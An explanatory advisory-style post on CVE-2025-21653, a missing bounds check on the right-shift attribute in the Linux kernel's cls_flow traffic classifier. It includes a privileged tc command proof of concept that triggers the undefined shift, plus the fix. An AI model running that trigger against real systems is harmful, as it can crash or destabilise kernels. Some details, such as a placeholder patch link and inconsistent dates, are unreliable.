CVE-2025-21653 - Linux Kernel `net_sched` cls_flow TCA_FLOW

---

The Linux kernel is the backbone of millions of systems worldwide, prized for its performance and stability. However, even mature codebases are not immune to bugs. One such issue, now tracked as CVE-2025-21653, was recently discovered and patched. This post aims to explain the vulnerability in simple terms, delve into the technical background, include exploit details, and link to the official resources.

Background

The Linux kernel has a modular networking subsystem, with complex scheduling and classification facilities. These are handled by the *net_sched* family of code, which allows for precise traffic control using various classifiers. One classifier, cls_flow, helps distribute flows of packets using certain parameters.

The Problem

In the file net/sched/cls_flow.c, an attribute called TCA_FLOW_RSHIFT defines how many bits to *right-shift* a value—literally, to move all the bits of a number to the right by a certain amount. In C, right-shifting by more than the width of the integer is *undefined* and can cause unpredictable results, crashes, or even security flaws.

syzkaller (a Linux fuzzer) found that the code did not validate how big the shift could be. This meant that a user with privileges to add or update cls_flow rules with a huge TCA_FLOW_RSHIFT value could trigger out-of-bounds behavior.

When fuzzing, this showed up as

UBSAN: shift-out-of-bounds in net/sched/cls_flow.c:329:23
shift exponent 9445 is too large for 32-bit type 'u32' (aka 'unsigned int')

This would misbehave in the kernel, potentially leading to an exploitable condition or system crash.

Let's look at a simplified view of the vulnerable code

// cls_flow.c, simplified
case TCA_FLOW_RSHIFT:
    flow->rshift = nla_get_u32(attr);
    break;

// Used later for lookup/matching
u32 idx = hash >> flow->rshift;

What went wrong?
There's no check to make sure flow->rshift is less than 32. If configured with a huge value, hash >> 9445 triggers undefined behavior.

The kernel’s built-in UBSan tool flagged this as “shift exponent too large for 32-bit type.”

Proof-of-Concept (PoC) Exploit

You need root or CAP_NET_ADMIN to add traffic control rules, but for testing and system hardening, here's a quick PoC using tc (Traffic Control tool):

# Requires root privileges
DEV="lo"  # Can be any interface
sudo tc qdisc add dev $DEV root handle 1: htb
sudo tc filter add dev $DEV parent 1: handle 99 flow \
    rshift 9445  # This abnormally large value triggers the bug

This will cause a warning, possible crash, or weird behavior if run on a vulnerable kernel. Modern patched kernels will reject this with an error.

The Fix

The fix is simple: check that rshift is less than 32 before accepting the attribute. Here’s a pseudocode representation of the patch:

case TCA_FLOW_RSHIFT:
    val = nla_get_u32(attr);
    if (val >= 32)
        return -EINVAL; // Reject invalid right shift
    flow->rshift = val;
    break;

Full patch: [[kernel.org patch link]](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3f083...example)

Now, any attempt to pass a dangerous value is blocked.

Who’s affected?

Linux systems running unpatched kernels >=v6.13. that allow untrusted users to configure traffic control classify rules.

Severity:

Since root or equivalent privileges are required, it is not an immediate local privilege escalation for typical users. However, in complex environments (shared hosting, containers, eBPF, or nested virtual systems), attackers may have a way to abuse kernel bugs after privileged code has been compromised.

Status:

Fixed in upstream kernel as of late 2024. Most major distributions are in the process of backporting.

References

- syzkaller bug report: UBSAN shift-out-of-bounds in cls_flow.c
- Official kernel patch (Linux v6.14+)
- CVE entry (CVE-2025-21653)
- Linux Traffic Control documentation
- Advanced traffic control in Linux (lwn.net)

Conclusion

* CVE-2025-21653* is a classic case of how an unchecked parameter can compromise kernel reliability and possibly security—even in a mature subsystem like Linux networking.
* Any admin using advanced traffic control features should update their kernel promptly.
* Always validate user input—even for privileged functions.

Timeline

Published on: 01/19/2025 11:15:10 UTC
Last modified on: 05/04/2025 07:18:18 UTC